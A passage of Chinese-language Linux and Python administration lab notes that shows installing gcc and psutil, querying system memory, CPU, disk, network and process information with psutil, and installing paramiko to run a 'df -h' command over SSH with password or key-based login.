(2/19): gcc-c++-4.8.5-4.el7.x86_64.rpm                      | 7.2 MB   00:00
(3/19): gcc-4.8.5-4.el7.x86_64.rpm                          |  16 MB   00:00
(4/19): gcc-gfortran-4.8.5-4.el7.x86_64.rpm                 | 6.6 MB   00:00
(5/19): gcc-gnat-4.8.5-4.el7.x86_64.rpm                     |  13 MB   00:00
(6/19): gcc-objc-4.8.5-4.el7.x86_64.rpm                     | 5.7 MB   00:00
(7/19): gcc-objc++-4.8.5-4.el7.x86_64.rpm                   | 6.1 MB   00:00
(8/19): glibc-devel-2.17-105.el7.x86_64.rpm                 | 1.0 MB   00:00
(9/19): glibc-headers-2.17-105.el7.x86_64.rpm               | 661 kB   00:00

(10/19): kernel-headers-3.10.0-327.el7.x86_64.rpm           | 3.2 MB   00:00
```

```
(11/19): libgfortran-4.8.5-4.el7.x86_64.rpm                | 293 kB   00:00
(12/19): libgnat-4.8.5-4.el7.x86_64.rpm                    | 960 kB   00:00
(13/19): libgnat-devel-4.8.5-4.el7.x86_64.rpm              | 2.7 MB   00:00
(14/19): libmpc-1.0.1-3.el7.x86_64.rpm                     |  51 kB   00:00
(15/19): libquadmath-4.8.5-4.el7.x86_64.rpm                | 182 kB   00:00
(16/19): libobjc-4.8.5-4.el7.x86_64.rpm                    |  73 kB   00:00
(17/19): libquadmath-devel-4.8.5-4.el7.x86_64.rpm          |  46 kB   00:00
(18/19): mpfr-3.1.1-4.el7.x86_64.rpm                       | 203 kB   00:00
(19/19): libstdc++-devel-4.8.5-4.el7.x86_64.rpm            | 1.5 MB   00:00
--------------------------------------------------------------------------------
Total                                           33 MB/s |  71 MB  00:02
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : mpfr-3.1.1-4.el7.x86_64                                      1/19
  Installing : libmpc-1.0.1-3.el7.x86_64                                    2/19
  Installing : libquadmath-4.8.5-4.el7.x86_64                               3/19
  Installing : libgfortran-4.8.5-4.el7.x86_64                               4/19
  Installing : cpp-4.8.5-4.el7.x86_64                                       5/19
  Installing : libgnat-devel-4.8.5-4.el7.x86_64                             6/19
  Installing : libgnat-4.8.5-4.el7.x86_64                                   7/19
  Installing : kernel-headers-3.10.0-327.el7.x86_64                         8/19
  Installing : glibc-headers-2.17-105.el7.x86_64                            9/19
  Installing : glibc-devel-2.17-105.el7.x86_64                             10/19
  Installing : gcc-4.8.5-4.el7.x86_64                                      11/19
  Installing : libquadmath-devel-4.8.5-4.el7.x86_64                        12/19
  Installing : libobjc-4.8.5-4.el7.x86_64                                  13/19
  Installing : gcc-objc-4.8.5-4.el7.x86_64                                 14/19
  Installing : libstdc++-devel-4.8.5-4.el7.x86_64                          15/19
  Installing : gcc-c++-4.8.5-4.el7.x86_64                                  16/19
  Installing : gcc-objc++-4.8.5-4.el7.x86_64                               17/19
  Installing : gcc-gfortran-4.8.5-4.el7.x86_64                             18/19
  Installing : gcc-gnat-4.8.5-4.el7.x86_64                                 19/19
  Verifying  : libstdc++-devel-4.8.5-4.el7.x86_64                           1/19
  Verifying  : gcc-objc-4.8.5-4.el7.x86_64                                  2/19
  Verifying  : libquadmath-devel-4.8.5-4.el7.x86_64                         3/19
  Verifying  : gcc-4.8.5-4.el7.x86_64                                       4/19
  Verifying  : libquadmath-4.8.5-4.el7.x86_64                               5/19
  Verifying  : cpp-4.8.5-4.el7.x86_64                                       6/19
  Verifying  : gcc-objc++-4.8.5-4.el7.x86_64                                7/19
  Verifying  : mpfr-3.1.1-4.el7.x86_64                                      8/19
  Verifying  : glibc-headers-2.17-105.el7.x86_64                            9/19
  Verifying  : glibc-devel-2.17-105.el7.x86_64                             10/19
  Verifying  : libobjc-4.8.5-4.el7.x86_64                                  11/19
  Verifying  : gcc-gfortran-4.8.5-4.el7.x86_64                             12/19
  Verifying  : libgfortran-4.8.5-4.el7.x86_64                              13/19
  Verifying  : gcc-c++-4.8.5-4.el7.x86_64                                  14/19
  Verifying  : libmpc-1.0.1-3.el7.x86_64                                   15/19
  Verifying  : gcc-gnat-4.8.5-4.el7.x86_64                                 16/19
  Verifying  : kernel-headers-3.10.0-327.el7.x86_64                        17/19
  Verifying  : libgnat-4.8.5-4.el7.x86_64                                  18/19

  Verifying  : libgnat-devel-4.8.5-4.el7.x86_64                            19/19
```

```
Installed:
  gcc.x86_64 0:4.8.5-4.el7                 gcc-c++.x86_64 0:4.8.5-4.el7
  gcc-gfortran.x86_64 0:4.8.5-4.el7        gcc-gnat.x86_64 0:4.8.5-4.el7
  gcc-objc.x86_64 0:4.8.5-4.el7            gcc-objc++.x86_64 0:4.8.5-4.el7

Dependency Installed:
  cpp.x86_64 0:4.8.5-4.el7                glibc-devel.x86_64 0:2.17-105.el7
  glibc-headers.x86_64 0:2.17-105.el7     kernel-headers.x86_64 0:3.10.0-327.el7
  libgfortran.x86_64 0:4.8.5-4.el7        libgnat.x86_64 0:4.8.5-4.el7
  libgnat-devel.x86_64 0:4.8.5-4.el7      libmpc.x86_64 0:1.0.1-3.el7
  libobjc.x86_64 0:4.8.5-4.el7            libquadmath.x86_64 0:4.8.5-4.el7
  libquadmath-devel.x86_64 0:4.8.5-4.el7 libstdc++-devel.x86_64 0:4.8.5-4.el7
  mpfr.x86_64 0:3.1.1-4.el7

Complete!

# 再次安装
(python)[root@workstation0 python]# pip install psutil
Downloading/unpacking psutil
  Downloading psutil-4.3.1.tar.gz (315kB): 315kB downloaded
  Running setup.py egg_info for package psutil

    warning: no previously-included files matching '*' found under directory 'docs/_build'
Installing collected packages: psutil
  Running setup.py install for psutil
    building 'psutil._psutil_linux' extension
    gcc -pthread -fno-strict-aliasing -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -
fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -
D_GNU_SOURCE -fPIC -fwrapv -DNDEBUG -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -
fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -
D_GNU_SOURCE -fPIC -fwrapv -fPIC -DPSUTIL_VERSION=431 -I/usr/include/python2.7 -c
psutil/_psutil_linux.c -o build/temp.linux-x86_64-2.7/psutil/_psutil_linux.o
    gcc -pthread -shared -Wl,-z,relro build/temp.linux-x86_64-2.7/psutil/_psutil_linux.o -
L/usr/lib64 -lpython2.7 -o build/lib.linux-x86_64-2.7/psutil/_psutil_linux.so
    building 'psutil._psutil_posix' extension
    gcc -pthread -fno-strict-aliasing -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -
fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -
D_GNU_SOURCE -fPIC -fwrapv -DNDEBUG -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -
fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -
D_GNU_SOURCE -fPIC -fwrapv -fPIC -I/usr/include/python2.7 -c psutil/_psutil_posix.c -o
build/temp.linux-x86_64-2.7/psutil/_psutil_posix.o
    gcc -pthread -shared -Wl,-z,relro build/temp.linux-x86_64-2.7/psutil/_psutil_posix.o -
L/usr/lib64 -lpython2.7 -o build/lib.linux-x86_64-2.7/psutil/_psutil_posix.so

    warning: no previously-included files matching '*' found under directory 'docs/_build'
Successfully installed psutil
Cleaning up...
# 安装模块成功，进入尝试加载模块psutil
(python)[root@workstation0 python]# python
Python 2.7.5 (default, Oct 11 2015, 17:47:16)
[GCC 4.8.3 20140911 (Red Hat 4.8.3-9)] on linux2

Type "help", "copyright", "credits" or "license" for more information.
```

```
>>> import psutil
>>>
```

可以看到离开虚拟环境，python无法加载psutil模块

```
[kiosk@foundation0 Desktop]$ ssh root@172.25.0.15
root@172.25.0.15's password:
X11 forwarding request failed on channel 0
Last login: Tue Oct 18 16:55:43 2016 from 172.25.0.250
[root@workstation0 ~]# python
Python 2.7.5 (default, Oct 11 2015, 17:47:16)
[GCC 4.8.3 20140911 (Red Hat 4.8.3-9)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import psutil
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: No module named psutil
>>>
```

Python实践3——使用psutil系统性能信息模块获取当前物理内存总大小及已使用大小

```
[root@workstation0 ~]# free -h
              total        used        free      shared  buff/cache   available
Mem:           488M        102M         69M        4.4M        316M        344M
Swap:          511M          0B        511M
[root@workstation0 ~]# free -h|awk '/Mem/{print$2}'
488M
[root@workstation0 ~]# free -h|awk '/Mem/{print$3}'
102M
```

```
>>> import psutil
>>> mem=psutil.virtual_memory()
>>> mem.total,mem.used
(512729088, 440070144)
```

我们可以通过help(psutil)来查看帮助信息;进入帮助之后可以使用“/关键字”搜索关键字;使用q退出

```
>>> help(psutil)
```

virtual_memory

```
total    虚拟内存的总大小
used     虚拟内存已经使用的大小
```

内存信息

Linux系统的内存利用率信息:
涉及total(内存总数)
used(已使用的内存数)
free(空闲内存数)
buffers(缓冲使用数)
cache(缓存使用数)
swap(交换分区使用数)

psutil.virtual_memory()与psutil.swap_memory()方法获取这些信息

Python实践4——使用psutil系统性能信息模块获取当前系统CPU利用率

```
>>> import psutil
>>> psutil.cpu_times()
scputimes(user=40.86, nice=9.26, system=41.36, idle=5833.96, iowait=15.87, irq=0.0, softirq=0.06,
steal=25.99, guest=0.0, guest_nice=0.0)
>>> psutil.cpu_times(percpu=True)
[scputimes(user=21.43, nice=4.91, system=22.05, idle=2941.57, iowait=8.83, irq=0.0, softirq=0.04,
steal=12.93, guest=0.0, guest_nice=0.0), scputimes(user=19.43, nice=4.34, system=19.31,
idle=2951.0, iowait=7.04, irq=0.0, softirq=0.01, steal=13.06, guest=0.0, guest_nice=0.0)]
>>> psutil.cpu_times().user
40.88
>>> psutil.cpu_count(logical=True)
2
>>> psutil.cpu_count(logical=False)
2
>>>
```

CPU信息

Linux操作系统的CPU利用率有以下几个部分:

- User Time,执行用户进程的时间百分比;
- System Time,执行内核进程和中断的时间百分比;
- Wait IO,由于IO等待而使CPU处于idle(空闲)状态的时间百分比;
- Idle,CPU处于idle状态的时间百分比。

psutil.cpu_times()方法可以非常简单地得到这些信息

- cpu_times()　　获取CPU完整信息
    - cpu_times(percpu=True)指定方法变量percpu=True显示所有逻辑CPU信息
        - cpu_times().user获取执行用户进程的时间百分比
    - cpu_count(logical=True)获取CPU的逻辑个数
    - cpu_count(logical=False) 获取CPU的物理个数

Python实践5——使用psutil系统性能信息模块获取当前系统磁盘信息

```
>>> import psutil
>>> d=psutil.disk_partitions()
>>> print d
[sdiskpart(device='/dev/mapper/rhel-root', mountpoint='/', fstype='xfs',
opts='rw,seclabel,relatime,attr2,inode64,noquota'), sdiskpart(device='/dev/mapper/rhel-home',
mountpoint='/home', fstype='xfs', opts='rw,seclabel,relatime,attr2,inode64,noquota'),
sdiskpart(device='/dev/vda1', mountpoint='/boot', fstype='xfs',
opts='rw,seclabel,relatime,attr2,inode64,noquota')]
>>> d=psutil.disk_usage('/')
>>> print d
sdiskusage(total=9447669760, used=1199980544, free=8247689216, percent=12.7)
>>> d=psutil.disk_io_counters()
>>> print d
sdiskio(read_count=16896, write_count=21325, read_bytes=428721664, write_bytes=707450880,
read_time=35974, write_time=1077043, read_merged_count=8, write_merged_count=962,
busy_time=131356)
>>> d=psutil.disk_io_counters(perdisk=True)
>>> print d
{'vda1': sdiskio(read_count=581, write_count=519, read_bytes=4516352, write_bytes=2109440,
read_time=687, write_time=663, read_merged_count=0, write_merged_count=0, busy_time=1312),
'vda2': sdiskio(read_count=8134, write_count=9658, read_bytes=211797504, write_bytes=352695296,
read_time=17532, write_time=456746, read_merged_count=8, write_merged_count=962,
busy_time=47092), 'vdb': sdiskio(read_count=144, write_count=0, read_bytes=1040384,
write_bytes=0, read_time=429, write_time=0, read_merged_count=0, write_merged_count=0,
busy_time=378), 'dm-2': sdiskio(read_count=87, write_count=4, read_bytes=522752,
write_bytes=2097152, read_time=53, write_time=640, read_merged_count=0, write_merged_count=0,
busy_time=210), 'dm-0': sdiskio(read_count=7824, write_count=11150, read_bytes=209751040,
write_bytes=350598144, read_time=16900, write_time=618994, read_merged_count=0,
write_merged_count=0, busy_time=81997), 'dm-1': sdiskio(read_count=126, write_count=0,
read_bytes=1093632, write_bytes=0, read_time=373, write_time=0, read_merged_count=0,
write_merged_count=0, busy_time=367)}
>>>
```

磁盘IO信息

- read_count(读IO数)
- write_count(写IO数)
- read_bytes(IO读字节数)
- write_bytes(IO写字节数)
- read_time(磁盘读时间)
- write_time(磁盘写时间)等。

这些IO信息可以使用psutil.disk_io_counters()获取

- disk_partitions() 获取磁盘完整信息
    - disk_usage()　获取分区(参数)的使用情况
    - disk_io_counters()获取硬盘总的IO个数、读写信息
        - perdisk=True参数获取单个分区IO个数读写信息

Python实践6——使用psutil系统性能信息模块获取当前系统网络信息

```
>>> import psutil
>>> psutil.net_io_counters()
snetio(bytes_sent=754606, bytes_recv=78983995, packets_sent=4592, packets_recv=9383, errin=0,
errout=0, dropin=0, dropout=0)
>>> psutil.net_io_counters(pernic=True)
{'lo': snetio(bytes_sent=0, bytes_recv=0, packets_sent=0, packets_recv=0, errin=0, errout=0,
dropin=0, dropout=0), 'eth1': snetio(bytes_sent=0, bytes_recv=115672, packets_sent=0,
packets_recv=2220, errin=0, errout=0, dropin=0, dropout=0), 'eth0': snetio(bytes_sent=756370,
bytes_recv=78870967, packets_sent=4606, packets_recv=7196, errin=0, errout=0, dropin=0,
dropout=0)}
```

网络信息

- bytes_sent(发送字节数)
- bytes_recv=28220119(接收字节数)
- packets_sent=200978(发送数据包数)
- packets_recv=212672(接收数据包数)

这些网络信息使用psutil.net_io_counters()方法获取

- net_io_counters()　　获取网络总的IO信息,默认pernic=False
    - net_io_counters(pernic=True)　　输出每个网络接口的IO信息

Python实践7——使用psutil系统性能信息模块获取当前系统用户登录信息

```
>>> import subprocess
>>> subprocess.call("who",shell=True)
root     pts/0        2016-10-18 16:55 (172.25.0.250)
root     pts/1        2016-10-18 17:22 (172.25.0.250)
0
>>> import psutil
>>> psutil.users()
[suser(name='root', terminal='pts/0', host='172.25.0.250', started=1476780928.0),
suser(name='root', terminal='pts/1', host='172.25.0.250', started=1476782592.0)]
>>> u=psutil.users()
>>> print u[0]
suser(name='root', terminal='pts/0', host='172.25.0.250', started=1476780928.0)
>>> print u[1]
suser(name='root', terminal='pts/1', host='172.25.0.250', started=1476782592.0)
>>> a=u[::-1]
>>> print a
[suser(name='root', terminal='pts/1', host='172.25.0.250', started=1476782592.0),
suser(name='root', terminal='pts/0', host='172.25.0.250', started=1476780928.0)]
>>> psutil.boot_time()

1476780907.0
```

其他系统信息

psutil模块还支持获取用户登录、开机时间等信息

- users()
    - boot_time()开机时间

Python实践8——使用psutil系统性能信息模块获取当前系统进程信息

```
>>> import psutil
>>> psutil.pids()
[1, 2, 3, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 33,
34, 35, 36, 37, 45, 46, 47, 49, 50, 51, 70, 100, 267, 269, 271, 272, 274, 275, 278, 281, 282,
358, 359, 370, 371, 384, 385, 386, 387, 388, 389, 390, 467, 480, 488, 508, 529, 536, 537, 538,
539, 540, 542, 543, 550, 551, 552, 553, 554, 569, 592, 594, 595, 597, 599, 607, 610, 614, 663,
704, 705, 988, 1191, 1193, 1198, 1204, 1586, 1604, 2339, 2344, 2376, 2451, 9480, 9482, 9486,
9548, 9550, 9555]
>>> psutil.pids()
[1, 2, 3, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 33,
34, 35, 36, 37, 45, 46, 47, 49, 50, 51, 70, 100, 267, 269, 271, 272, 274, 275, 278, 281, 282,
358, 359, 370, 371, 384, 385, 386, 387, 388, 389, 390, 467, 480, 488, 508, 529, 536, 537, 538,
539, 540, 542, 543, 550, 551, 552, 553, 554, 569, 592, 594, 595, 597, 599, 607, 610, 614, 663,
704, 705, 988, 1191, 1193, 1198, 1204, 1586, 1604, 2339, 2344, 2376, 2451, 9480, 9482, 9486,
9548, 9550, 9555, 9564, 9571, 9581]
>>> psutil.Process(9581)
<psutil.Process(pid=9581, name='kworker/1:0') at 39994576>
>>> psutil.Process(9564)
<psutil.Process(pid=9564, name='yum') at 39994384>
>>> p=psutil.Process(9564)
>>> p.name()
'yum'
>>> p.exe
<bound method Process.exe of <psutil.Process(pid=9564, name='yum') at 39994576>>
>>> p.exe()
'/usr/bin/python2.7'
>>> p.cwd()
'/root'
>>> p.status()
'disk-sleep'
>>> p.create_time()
1476787328.27
>>> p.uids()
puids(real=0, effective=0, saved=0)
>>> p.gids()
pgids(real=0, effective=0, saved=0)
>>> p.cpu_times()
pcputimes(user=17.34, system=4.62, children_user=5.46, children_system=4.68)
>>> p.cpu_affinity()
[0, 1]
>>> p.memory_percent()
14.738212784994168
>>> p.memort_info()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'Process' object has no attribute 'memort_info'
>>> p.memore_info()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'Process' object has no attribute 'memore_info'
>>> p.memory_info()
pmem(rss=76226560, vms=435654656, shared=13361152, text=4096, lib=0, data=61382656, dirty=0)
```

```
>>> p=psutil.Process(10242)
>>> p.io_counters()
pio(read_count=10, write_count=64, read_bytes=229376, write_bytes=0)
>>> p.connections()
[]
>>> p.num_threads()
1
```

系统进程管理方法

获得当前系统的进程信息,可以让运维人员得知应用程序的运行状态,包括进程的启动时间、查看或设置CPU亲和度、内存使用率、IO信息、socket连接、线程数等,这些信息可以呈现出指定进程是否存活、资源利用情况,为开发人员的代码优化、问题定位提供很好的数据参考。

进程信息

psutil模块通过psutil.pids()方法获取所有进程PID；psutil.Process()方法获取单个进程的名称、路径、状态、系统资源利用率等信息。

- psutil.pids()　　#列出所有进程PID
  - psutil.Process(2424) #实例化一个Process对象,参数为一进程PID
    - p.name() #进程名
    - p.exe() #进程bin路径
    - p.cwd() #进程工作目录绝对路径
    - p.status()#进程状态
  - p.create_time() #进程创建时间,时间戳格式
    - p.uids()#进程uid信息
    - p.gids()#进程gid信息
    - p.cpu_times()#进程CPU时间信息,包括user、system两个CPU时间
  - p.cpu_affinity()#get进程CPU亲和度,如要设置进程CPU亲和度,将CPU号作为参数即可
  - p.memory_percent()#进程内存利用率
  - p.memory_info()#进程内存rss、vms信息
  - p.io_counters()#进程IO信息,包括读写IO数及字节数
  - p.connections()#返回打开进程socket的namedutples列表,包括fs、family、laddr等信息
  - pl.num_threads()#进程开启的线程数

popen类的使用

```
>>> import psutil
>>> from subprocess import PIPE
>>> p=psutil.Popen(["/usr/bin/python","-c","print('hello')"],stdout=PIPE)
>>> p.name()
'python'
>>> p.username()
'root'
>>> p.communicate()
('hello\n', None)
>>> p=psutil.Popen(["ping","172.25.0.250"],stdout=PIPE)
>>> p.status()
'sleeping'
>>> p.uids()
puids(real=0, effective=0, saved=0)
>>> p.cpu_times()
pcputimes(user=0.0, system=0.0, children_user=0.0, children_system=0.0)
```

psutil提供的popen类的作用是获取用户启动的应用程序进程信息,以便跟踪程序进程的运行状态

- psutil.Popen(["/usr/bin/python", "-c", "print('hello')"],stdout=PIPE) #通过psutil的Popen方法启动的应用程序,可以跟踪该程序运行的所有相关信息
    - p.cpu_times()#得到进程运行的CPU时间

python实例-paramkio模块实现ssh管理

ssh

ssh允许你安全地连接到远程服务器，执行shell命令，传输文件，并在连接双方进行端口转发。

如果有一个命令地ssh工具，为什么还要通过编写脚本来使用ssh协议呢？
主要原因是这样做除了能够使用ssh协议地全部功能外，还能够使用python的全部功能。

ssh2协议就是通过paramkio的python模块实现的，通过python代码，可以连接到ssh服务器，并完成一些ssh任务。

实践1——安装paramkio包

- 从共享中下载paramkio和PyCrypto
- 依赖模块：PyCrypto - The Python Cryptography Toolkit
- 依赖软件：python-dev

```
[root@foundation0 soft]# ls
ipython-0.13.1         paramiko-1.7.5      psutil-4.3.1.tar.gz  pycrypto-2.6.1.tar.gz
ipython-0.13.1.tar.gz  paramiko-1.7.5.zip  pycrypto-2.6.1
[root@foundation0 soft]# yum install -y python-devel
[root@foundation0 soft]# cd pycrypto-2.6.1
[root@foundation0 pycrypto-2.6.1]# python setup.py install
[root@foundation0 soft]# cd ../paramiko-1.7.5
[root@foundation0 soft]# python setup.py install
running install
running bdist_egg
running egg_info
writing requirements to paramiko.egg-info/requires.txt
writing paramiko.egg-info/PKG-INFO
writing top-level names to paramiko.egg-info/top_level.txt
writing dependency_links to paramiko.egg-info/dependency_links.txt
reading manifest file 'paramiko.egg-info/SOURCES.txt'
reading manifest template 'MANIFEST.in'
writing manifest file 'paramiko.egg-info/SOURCES.txt'
installing library code to build/bdist.linux-x86_64/egg
running install_lib
running build_py
creating build/bdist.linux-x86_64/egg
creating build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/__init__.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/agent.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/auth_handler.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/ber.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/buffered_pipe.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/channel.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/client.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/common.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/compress.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/config.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/dsskey.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/file.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/hostkeys.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/kex_gex.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/kex_group1.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/logging22.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/message.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/packet.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/pipe.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/pkey.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/primes.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/resource.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/rng.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/rng_posix.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/rng_win32.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/rsakey.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/server.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/sftp.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/sftp_attr.py -> build/bdist.linux-x86_64/egg/paramiko

copying build/lib/paramiko/sftp_client.py -> build/bdist.linux-x86_64/egg/paramiko
```

```
copying build/lib/paramiko/sftp_file.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/sftp_handle.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/sftp_server.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/sftp_si.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/ssh_exception.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/transport.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/util.py -> build/bdist.linux-x86_64/egg/paramiko
copying build/lib/paramiko/win_pageant.py -> build/bdist.linux-x86_64/egg/paramiko
byte-compiling build/bdist.linux-x86_64/egg/paramiko/__init__.py to __init__.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/agent.py to agent.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/auth_handler.py to auth_handler.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/ber.py to ber.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/buffered_pipe.py to buffered_pipe.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/channel.py to channel.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/client.py to client.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/common.py to common.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/compress.py to compress.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/config.py to config.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/dsskey.py to dsskey.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/file.py to file.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/hostkeys.py to hostkeys.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/kex_gex.py to kex_gex.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/kex_group1.py to kex_group1.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/logging22.py to logging22.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/message.py to message.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/packet.py to packet.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/pipe.py to pipe.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/pkey.py to pkey.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/primes.py to primes.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/resource.py to resource.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/rng.py to rng.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/rng_posix.py to rng_posix.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/rng_win32.py to rng_win32.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/rsakey.py to rsakey.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/server.py to server.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp.py to sftp.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp_attr.py to sftp_attr.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp_client.py to sftp_client.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp_file.py to sftp_file.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp_handle.py to sftp_handle.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp_server.py to sftp_server.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp_si.py to sftp_si.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/ssh_exception.py to ssh_exception.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/transport.py to transport.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/util.py to util.pyc
byte-compiling build/bdist.linux-x86_64/egg/paramiko/win_pageant.py to win_pageant.pyc
creating build/bdist.linux-x86_64/egg/EGG-INFO
copying paramiko.egg-info/PKG-INFO -> build/bdist.linux-x86_64/egg/EGG-INFO
copying paramiko.egg-info/SOURCES.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying paramiko.egg-info/dependency_links.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying paramiko.egg-info/requires.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying paramiko.egg-info/top_level.txt -> build/bdist.linux-x86_64/egg/EGG-INFO

zip_safe flag not set; analyzing archive contents...
```

```
creating 'dist/paramiko-1.7.5-py2.7.egg' and adding 'build/bdist.linux-x86_64/egg' to it
removing 'build/bdist.linux-x86_64/egg' (and everything under it)
Processing paramiko-1.7.5-py2.7.egg
Removing /usr/lib/python2.7/site-packages/paramiko-1.7.5-py2.7.egg
Copying paramiko-1.7.5-py2.7.egg to /usr/lib/python2.7/site-packages
paramiko 1.7.5 is already the active version in easy-install.pth

Installed /usr/lib/python2.7/site-packages/paramiko-1.7.5-py2.7.egg
Processing dependencies for paramiko==1.7.5
Searching for pycrypto==2.6.1
Best match: pycrypto 2.6.1
Adding pycrypto 2.6.1 to easy-install.pth file

Using /usr/lib64/python2.7/site-packages
Finished processing dependencies for paramiko==1.7.5
```

实践2——编写python脚本连接到ssh服务器并远程执行命令

密码方式登录

```
#!/usr/bin/env python
import paramiko

#远程服务器
hostname = '192.168.0.1'
#端口
port = 22
#用户名
username = 'Dominic'
#密码
password = '123456'
#创建SSH连接日志文件（只保留前一次连接的详细日志，以前的日志会自动被覆盖）
paramiko.util.log_to_file('paramiko.log')
s = paramiko.SSHClient()
#允许连接不在know_hosts文件中的主机
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#建立SSH连接
s.connect(hostname,port,username,password)
stdin,stdout,stderr = s.exec_command('df -h')
#打印标准输出
print stdout.read()
s.close()
```

基于证书方式的登录

```python
#!/usr/bin/env python

import paramiko

hostname = '172.25.0.11'
port = 22
username = 'root'
key_file = '/root/.ssh/id_rsa'
key = paramiko.RSAKey.from_private_key_file(key_file)

s = paramiko.SSHClient()
s.load_system_host_keys()
s.connect(hostname,port,username,pkey=key)
stdin,stdout,stderr = s.exec_command('df -h')

print stdout.read()
print stderr.read()
s.close()
```

python 脚本实战

for循环9*9

自定义模块，加载模式，使用模块的方法，数据（**name**）

